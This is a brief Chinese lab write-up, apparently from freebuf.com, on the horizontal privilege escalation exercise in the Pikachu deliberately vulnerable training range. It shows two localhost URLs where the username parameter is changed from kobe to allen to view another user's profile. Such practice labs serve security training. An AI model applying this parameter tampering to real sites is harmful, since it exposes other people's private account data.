pikachu靶场-Over Permission op1 login 水平越权 – 作者:知非知非知非

先登录一下，试试！！！

我们注意一下此时的URL：如果，我们把kobe改成allen，会不会可以查看到allen的信息！！！？

http://localhost/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

http://localhost/pikachu/vul/overpermission/op1/op1_mem.php?username=allen&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

确实可以看到！！！！

可以下提示，思路没错！！！

来源：freebuf.com 2021-07-28 08:32:02 by: 知非知非知非